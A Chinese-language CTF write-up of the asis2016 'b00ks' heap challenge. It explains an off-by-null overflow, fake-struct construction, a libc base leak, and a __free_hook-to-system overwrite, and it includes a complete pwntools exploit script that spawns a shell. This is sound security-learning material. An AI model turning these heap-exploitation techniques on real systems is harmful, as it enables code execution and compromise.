[堆入门 off-by-null] asis2016_b00ks

刚开始学pwn就听说,堆的题目很魔幻,需要大量的基础知识。在漫长地啃堆基础原理以后,这是我第一次自己研究学习并且完全明白原理的堆题。特地在此做笔记记录。

0x00 逆向分析

一进来就很容易发现,这也是堆题中最为常见的菜单题目。
简单分析一下,打开程序,最先产生交互的函数是sub_B6D。

漏洞点:sub_B6D

调用了sub_9F5函数,是作者自己写的read函数,再进去看看。

注意这里的判定:先++buf,然后判断是否达到了最大长度(32字符),如果达到了,就跳出循环,然后把当前buf的字符变为\x00。
乍一看是没什么问题,但是仔细一想,它这里的i是从0开始,当i == a2的时候其实已经读了33个字符了,也就是说如果我们刚好输入32个字符以后,它会再读一个字符,并且会把这个字符变为\x00。
比如我输入了’A’ * 32,实际上数据流中我输入的是’AAAAAAAA…AAA\n’,当我们输入的第32个A被读取之后先检测是否是’\n’,通过,++buf,然后比对i是否等于a2,但是由于i从0开始,此时i为31,所以也通过,继续循环。
然后此时读取的字符是\n,检测到*buf == ‘\n’ 所以执行break,再把’\n’覆盖为\x00。导致最终读入的字符为32个’A’+一个’\x00’。
先简单写个脚本测试一下

def create(name_size, name, desc_size, desc):global pp.recvuntil('> ')p.sendline('1')p.recvuntil(': ')p.sendline(str(name_size))p.recvuntil(': ')p.sendline(name)p.recvuntil(': ')p.sendline(str(desc_size))p.recvuntil(': ')p.sendline(desc)def change_author(author):global pp.recvuntil('> ')p.sendline('5')p.recvuntil(': ')p.sendline(author)def debug():gdb.attach(p)pause()init()
debug()
create(0x20,'aaaaaaaa',0x20,'bbbbbbbb')
debug()
change_author('A'*32)
debug()
p.interactive()

init()先将作者名设置为32个A,然后create新建一个book(因为id是1,所以咱们叫他book1),然后再change_author修改作者名,看看内存里会有什么样的变化。

1.init()执行过后

可以看到在内存里写入了32个41

2.create()执行过后

可以看到在32个A后出现了一个指针,指针指向b00k1的id

3.change_author()执行过后

可以发现原来指向book1的ID的指针后两位被覆盖为了00。
如何利用这个漏洞?
思路:在覆盖为00后的地址位置(如这里的0x56285dc0f300),写一个伪造的book,怎么写,如何利用这个伪造的book我们之后再分析。

数据结构分析

在利用漏洞之前,我们先分析一下这个程序所用到的结构体。
在create book对应函数里面可以找到这样一段代码

这一块就很明显的反映出这个程序所用的结构体的结构。
先看这个*((_QWORD *)off_202010 + v2) = v3;
这个off_202010在之前用到过类似的地址:

对,就是之前创建作者名的时候。

ps.这里的sub_9F5和之前的sub_B6D是同一个函数,因为我写这篇文章不是一次性写完的,中间关了一次IDA。不过这都不重要。

跳转到IDA看一下

我们可以看到,作者名的起始地址off_202018在0x202040,而create中调用的这个地址在0x202060,刚好相差了0x20,再回头看一下之前create()函数执行过后的内存图:

现在我们可以理解,前面两行(0x20)的41(‘A’)之后跟的那个地址,就是book1的起始地址。
然后再回到IDA看另外的四行,翻译过来的结构体就大概长这样:

struct book_struct
{int id;
void *book_name;
void *book_description;
int description_size;
}

id对应了unk_202024,随着书的数量增加而自增。
*bookname可以通过之前的代码推断:

*book_description和description_size也是类似:

这边有一点需要注意,在IDA中,v5,ptr,unk_202024的地址都用的是
v3+0,v3+1,v3+2,为什么v1的地址用的是v3+6呢?而事实上我们看到:

这里的v1(description_size)是在v3+3的位置。
这是因为QWRD是四字,比DWORD双字大了一倍,因此DWORD的+6就相当于QWORD的+3

漏洞利用:Edit()


看到菜单的选项3是Edit a book,转到函数界面看看:

可以看到这边又调用了读函数sub_9F5,将读取的内容写到book结构体基地址+16(0x10)处的指针所指向的位置。
也就是:
图中这个地址所指向的地方
我们跳转过去看看

在这里就看到我之前测试所写的’aaaaaaaa’'a'=62
也就是说如果我们控制了这里的0x000056285dc0f2e0,就可以在任意的地方写任意的东西了。
另外在菜单的4选项还有print book detail的选项,也就是说如果我们控制了这个description指针的地址,就可以做到任意地址读写
具体怎么实现再往后看。

0x01 fakebook的构造和利用

就像历史上国与国之间的侵略一样,想要获得一个内鬼,就得先培养一个内鬼,然后再让这个内鬼得到他们内部的信任(权限)
那我们先来构造一个内鬼

构造fakebook

这个很简单,只要这样就行了:

init()
create(0x20,'aaaaaaaa',0x20,'bbbbbbbb')
###############此处为新增代码###############edit(1,p64(1) + p64(0x114514) + p64(0x114514) + p64(0xffffff))###########################################
debug()
change_author('A'*32)
debug()
p.interactive()

运行一下看看是不是这么回事:

当当!我们的内鬼已经培养完了,这个内鬼可以在0x114514这个地址写0xffffff大小的内容,是不是很猛?
但是!别忘记一个很关键的事情,

程序它不认我这个内鬼啊!只要这里book1的指针还是指向0x56157f41c310,我们往book1的description写东西就还是往0x56157f41c2e0写,那怎么办呢?
这时候就想到了之前我们提到的off-by-null漏洞了,我们只要再填写一次作者名(就是前面的一堆4141),就会溢出一个\x00,覆盖掉0x56157f41c310后面的10。
乍一看这仿佛是不可控的,只能把后面两个改成00,但是我们的内鬼在0x56157f41c2e0,要怎么把book1的指针指向我们的内鬼呢?
其实name,description,book1他们三个是轮流划分区域的。

我们这里用刚好一本书的description大小0x20(chunk大小是0x30),那么如果book1的地址是以0xXXXXXX30结尾,那么用\x00覆盖以后,就变成0xXXXXXX00,由于book1的chunk刚好紧接着description的chunk,所以此时的0xXXXXXX00就刚好是description的地址。
那现在问题就在于如何把book1的结尾变成0x30?
只要不断扩大name的size直到book1的地址变为0x30结尾即可。

使fakebook取代book1


先看一下当前name是0x20,description也是0x20的时候,堆的结构是这样的:

可以看到如果要让book1基地址变成0x30的话 需要:

往下挤0x20
所以咱们把name加0x20,再试试

def init():p.recvline()p.recvuntil(': ')p.sendline('A'*32)def create(name_size, name, desc_size, desc):global pp.recvuntil('> ')p.sendline('1')p.recvuntil(': ')p.sendline(str(name_size))p.recvuntil(': ')p.sendline(name)p.recvuntil(': ')p.sendline(str(desc_size))p.recvuntil(': ')p.sendline(desc)def change_author(author):global pp.recvuntil('> ')p.sendline('5')p.recvuntil(': ')p.sendline(author)def edit(book_id, desc):global pp.recvuntil('> ')p.sendline('3')p.recvuntil(': ')p.sendline(str(book_id))p.recvuntil(': ')p.sendline(desc)def debug():gdb.attach(p)pause()init()
create(0x20 + 0x20,'aaaaaaaa',0x20,'bbbbbbbb')
p.interactive()
edit(1,p64(1) + p64(0x114514) + p64(0x114514) + p64(0xffffff))
debug()
change_author('A'*32)
debug()
p.interactive()

现在脚本长这样,看看啥效果

很好,book1已经如我们所愿变成30结尾了
执行到下一个debug()

到这一步,内鬼已经写好。继续执行


到此,我们已经成功完成了扶植内鬼,和任命内鬼的全过程。
测试一下:

我尝试输出了一下书的细节,程序直接崩溃了,如我所料。
如果没有任命成功,它会照常输出:

之所以这里会崩溃,是因为程序找不到0x114514这个地址。
也就证明我们的内鬼计划非常成功。

0x02 获取libc基地址,执行shell

获取libc基地址

当程序需要分配一块较小的空间时,malloc会默认使用brk方式分配chunk,但是如果需要分配的空间很大的话,会使用mmap方式分配。而使用mmap方式分配的chunk有个特点,就是chunk地址与libc基地址之间的偏移量是固定的(即使开了PIE:libc地址随机)

这就给我们提供了一个很好的获取libc的方式。
地址获取思路:

  1. 将作者名填满32字节,由于print输出到\x00停止的特性,输出作者名时尾部会输出book1的地址(如上图的Author尾部的不可见字符);
  2. 通过book1地址计算出book2的description地址(也可以是NAME地址);
  3. 将fakebook的description指针所指向的地址修改为book2的description所在的内存地址(不是指向的地址);
  4. 通过菜单选项Print book detail泄露book2的description所指向的地址;
  5. 在本地调试,使用vmmap得到book2地址与libc基地址偏移量;
  6. 通过book2的description地址算出libc基地址。
    下面开始实践
def init():p.recvline()p.recvuntil(': ')p.sendline('A'*32)def create(name_size, name, desc_size, desc):global pp.recvuntil('> ')p.sendline('1')p.recvuntil(': ')p.sendline(str(name_size))p.recvuntil(': ')p.sendline(name)p.recvuntil(': ')p.sendline(str(desc_size))p.recvuntil(': ')p.sendline(desc)def delete(book_id):global pp.recvuntil('> ')p.sendline('2')p.recvuntil(': ')p.sendline(str(book_id))def edit(book_id, desc):global pp.recvuntil('> ')p.sendline('3')p.recvuntil(': ')p.sendline(str(book_id))p.recvuntil(': ')p.sendline(desc)def printf():global pp.recvuntil('> ')p.sendline('4')def change_author(author):global pp.recvuntil('> ')p.sendline('5')p.recvuntil(': ')p.sendline(author)def debug():gdb.attach(p)pause()init()
book1_name = 0x40
book1_des = 0x20
create(book1_name, 'a', book1_des, 'b')
create(0x21000, 'c', 0x21000, 'd')
printf()
p.recvuntil('ID: 1')
p.recvuntil('A'*32)
book1_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book1_addr:"+hex(book1_addr))
edit(1, p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff))
change_author('A'*32)
printf()
p.recvuntil('ID: 1')
p.recvuntil('Name: ')
book2_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book2_addr:"+hex(book2_addr))
debug()
p.interactive()

先看看book2的地址是多少:

可以看到这边跑出了book2的地址
然后vmmap看一下libc基地址是多少

这里libc-2.31.so就是libc了,第一行的起始地址就是libc的基地址。
所以它的偏移量就是:0x7f83dba36000 - 0x7f83dba14010
所以libc基地址 = book2_addr + (0x7f83dba36000 - 0x7f83dba14010)
修改后的脚本(自定义函数部分略过了)

init()
book1_name = 0x40
book1_des = 0x20
create(book1_name, 'a', book1_des, 'b')
create(0x21000, 'c', 0x21000, 'd')
printf()
p.recvuntil('ID: 1')
p.recvuntil('A'*32)
book1_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book1_addr:"+hex(book1_addr))
edit(1, p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff))
change_author('A'*32)
printf()
p.recvuntil('ID: 1')
p.recvuntil('Name: ')
book2_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book2_addr:"+hex(book2_addr))
###############新加入内容###################
libc_base = book2_addr + (0x7f83dba36000 - 0x7f83dba14010)
print('libc base:' + hex(libc_base))
debug()

跑跑看效果如何:

可以看到libc_base和vmmap的结果一模一样。
到此libc基地址获取成功。

执行shell

在堆中,我们常用__free_hook挟持执行流。
先来看看__free_hook是干嘛的:

void __libc_free(void *mem) {mstate    ar_ptr;mchunkptr p; /* chunk corresponding to mem */// 判断是否有钩子函数 __free_hookvoid (*hook)(void *, const void *) = atomic_forced_read(__free_hook);if (__builtin_expect(hook != NULL, 0)) {(*hook)(mem, RETURN_ADDRESS(0));return;}//略……
}

简单一句话概括:当调用free函数时,会检测__free_hook函数是否为空,如果不是,则先执行__free_hook。
研究__free_hook的内部太麻烦了,直接看__free_hook的性质:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>extern void (*__free_hook) (void *__ptr,const void *);int main()
{char *str = malloc(160);strcpy(str,"/bin/sh");printf("__free_hook: 0x%016X\n",__free_hook);// 劫持__free_hook__free_hook = system;free(str);return 0;
}

执行结果

ex@ubuntu:~/test$ gcc -o demo -g demo.c
demo.c: In function ‘main’:
demo.c:12:9: warning: format ‘%X’ expects argument of type ‘unsigned int’, but argument 2 has type ‘void (*)(void *, const void *)’ [-Wformat=]printf("__free_hook: 0x%016X\n",__free_hook);^
demo.c:14:14: warning: assignment from incompatible pointer type [-Wincompatible-pointer-types]__free_hook = system;^
ex@ubuntu:~/test$ ./demo
__free_hook: 0x0000000000000000
$ echo hello world
hello world
$

以上代码节选自http://blog.eonew.cn/archives/521

再简单一句话概括:__free_hook执行时会把chunk中的用户数据作为参数。
所以挟持的步骤:

  1. 把__free_hook的地址改为system地址
  2. 把待free的chunk中的内容改为’/bin/sh’
  3. 执行free(之前修改的chunk)

已经得到解题的所有步骤了,那么执行shell的步骤如下:

  1. 通过libc基地址得到freehook地址,system地址,binsh地址
  2. 由于之前已经将fakebook的description所指向的地址改为book2的name地址,所以可以通过修改book1的description来修改book2的name指针,和description指针所指向的内容。因此我们可以把book2的name改为’/bin/sh’把它的description改为’__free_hook’的地址。
  3. 通过步骤2,我们已经把book2的description所指向的地址改成了__free_hook,因此此时修改book2的description就是修改__free_hook的地址,因此此时只要修改book2的description为system的地址。
  4. free(book2) pwn!!!!!!!!!!

这里有一个细节
在delete操作中,它会把每个chunk都free一遍,所以实际上是它在free(book2的name)的时候获取了shell。(之前纠结了很久__free_hook究竟会调用哪个作为参数)

0x03 脚本

from pwn import *
import pwnliblibc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf = ELF('./b00ks')
#p = remote('node3.buuoj.cn',26090)
p = process('./b00ks')def init():p.recvline()p.recvuntil(': ')p.sendline('A'*32)def create(name_size, name, desc_size, desc):global pp.recvuntil('> ')p.sendline('1')p.recvuntil(': ')p.sendline(str(name_size))p.recvuntil(': ')p.sendline(name)p.recvuntil(': ')p.sendline(str(desc_size))p.recvuntil(': ')p.sendline(desc)def delete(book_id):global pp.recvuntil('> ')p.sendline('2')p.recvuntil(': ')p.sendline(str(book_id))def edit(book_id, desc):global pp.recvuntil('> ')p.sendline('3')p.recvuntil(': ')p.sendline(str(book_id))p.recvuntil(': ')p.sendline(desc)def printf():global pp.recvuntil('> ')p.sendline('4')def change_author(author):global pp.recvuntil('> ')p.sendline('5')p.recvuntil(': ')p.sendline(author)def debug():gdb.attach(p)pause()init()
book1_name = 0x40
book1_des = 0x20
create(book1_name, 'a', book1_des, 'b')
create(0x21000, 'c', 0x21000, 'd')
printf()
p.recvuntil('ID: 1')
p.recvuntil('A'*32)
book1_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book1_addr:"+hex(book1_addr))
edit(1, p64(1)+p64(book1_addr+0x38)+p64(book1_addr+0x38)+p64(0xffff))
change_author('A'*32)
printf()
p.recvuntil('ID: 1')
p.recvuntil('Name: ')
book2_addr = u64(p.recv(6).ljust(8, '\x00'))
print("book2_addr:"+hex(book2_addr))
libc_base = book2_addr + (0x7f1b0ac89000 - 0x7f1b0ac42010)
print('libc base:' + hex(libc_base))
elf_base = libc_base + libc.sym['free'] - elf.plt['free']
free_hook = libc.symbols['__free_hook'] + libc_base
system = libc.symbols['system'] + libc_base
binsh_addr = libc.search('/bin/sh').next() + libc_base
print("free_hook = "+ hex(free_hook))
print("system = "+ hex(system))
print("binsh_addr = "+ hex(binsh_addr))
payload = p64(binsh_addr) + p64(free_hook)
edit(1, payload)
payload = p64(system)
edit(2, payload)
delete(2)
p.interactive()

虽然明白了打法,但是我还是花了很久的时间去把这题打穿。因为不同的解释器他们的offset大小都不一样,我用了我三台不同版本的ubuntu虚拟机偏移量都不对,可能是因为这个题目太老了,最后采用了网上别人打穿的wp的偏移量。然后本地的libc版本也很重要,不然就算获取了基地址,根据偏移量算出的函数地址也都是不对的。

[堆入门off-by-null]asis2016_b00ks相关推荐

  1. CTF pwn题堆入门 -- Unsorted bin

    Unsorted bin 序言 概述 攻击方式 unlink 释放Chunk到Unsorted bin House of Orange House of einherjar Unsorted bin ...

  2. Linux pwn入门教程,pwn堆入门系列教程1

    pwn堆入门系列教程1 因为自己学堆的时候,找不到一个系统的教程,我将会按照ctf-wiki的目录一步步学下去,尽量做到每周有更新,方便跟我一样刚入门堆的人学习,第一篇教程研究了4天吧,途中没人指导. ...

  3. 学习笔记 | 结合高中知识独立性检验入门学习零假设Null Hypothesis

    大部分笔记内容均来自国内外博客网站,作者仅是整理整合相关文章方便学习,原著作权仍未原作者,若侵权请及时联系删除.谢谢!

  4. 【CTF资料-0x0002】PWN简易Linux堆利用入门教程by arttnba3

    [CTF资料-0x0002]简易Linux堆利用入门教程by arttnba3 老生常谈,[GITHUB BLOG ADDR](https://arttnba3.cn/2021/05/10/NOTE- ...

  5. C语言 NULL 和 0 区别 - C语言零基础入门教程

    目录 一.关于 NULL 定义 二.NULL 和 0 区别 三.猜你喜欢 零基础 C/C++ 学习路线推荐 : C/C++ 学习目录 >> C 语言基础入门 一.关于 NULL 定义 NU ...

  6. Linux (x86) Exploit 开发系列教程之十一 Off-By-One 漏洞(基于堆)

    Off-By-One 漏洞(基于堆) 译者:飞龙 原文:Off-By-One Vulnerability (Heap Based) 预备条件: Off-By-One 漏洞(基于栈) 理解 glibc ...

  7. 算法笔记-堆相关、堆的定义、大小根堆、算法程序实现、堆的算法题、C#写法

    内容概述 1,堆结构就是用数组实现的完全二叉树结构 2,完全二叉树中如果每棵子树的最大值都在顶部就是大根堆 3,完全二叉树中如果每棵子树的最小值都在顶部就是小根堆 4,堆结构的heaplnsert与h ...

  8. Libc堆管理机制及漏洞利用技术 (一)

    0×01 Libc堆浅析 1.1 堆管理结构 struct malloc_state {mutex_t mutex; /* Serialize access. */int flags; /* Flag ...

  9. ECMAScript——基本数据类型之null和undefined

    null属于当前的值为空,以后会给其赋值的  typeof null --> "object" undefined属于非人为设置,意料之外的没有 typeof undefin ...

  10. pwn题堆利用的一些姿势 -- IO_FILE

    IO_FILE 概述 IO_FILE结构介绍 利用_fileno字段 原理分析 一个例子 利用IO_FILE进行leak 原理分析 一个例子 FSOP 原理分析 一个例子 总结 pwn题堆利用的一些姿 ...

最新文章

  1. 解决Tomcat v8.0 Server at localhost failed to start.
  2. ABAP程序发送邮件
  3. Winfrom中设置ZedGraph显示多个标题(一个标题换行显示)效果
  4. 关于python安装lxml插件的问题
  5. 「每天一道面试题」如何理解方法的重载与覆盖?
  6. sql server常用函数、常用语句
  7. js bom and dom
  8. PageRank算法原理与实现
  9. c++ 01_02 study note
  10. 力扣 两两交换链表中的节点
  11. ACL2021最佳论文出炉,来自字节跳动
  12. Flutter之跨组件状态共享Provider框架剖析(2)
  13. python递归函数基例_函数和代码复用 --Python
  14. python 画竖线_学习笔记92—python 画横竖分界线
  15. 联想i5无线网无法连接服务器,联想笔记本不能连接无线网的解决方法
  16. java sencha_Sencha Cmd 5 Java 8错误
  17. 网络攻防技术(2021期末考试)
  18. MacOS 系统 文件夹解析
  19. Kafka常用命令(1):kafka-topics
  20. scrollTo滚动到指定位置或指定元素的位置、平滑滚动,以及offsetTop的使用

热门文章

  1. python执行excel公式 语法_Python读取excel文件中带公式的值的实现
  2. Kubernetes 学习总结(24)—— Kubernetes 滚动更新、蓝绿发布、金丝雀发布等发布策略详解
  3. 列宽一字符等于多少厘米_Excel中行高与列宽单位和厘米的转换
  4. 台式计算机 按键盘字母键 没反应6,台式电脑键盘没反应怎么回事 键盘按了没反应怎么办...
  5. Makefile之origin函数
  6. 西安交通大学2022年计算机考研复试分数线预测
  7. 西安计算机专业大专排名及分数线,西安所有的大学名单及排名分数线(本科 专科)...
  8. 群同态和群同构的区别_抽象代数3-1群同态的简单性质与低阶群的结构
  9. Ubuntu 16.04 LTS 完善解决亮度调整
  10. 使用SharePoint Framework开发webpart的一些技巧汇总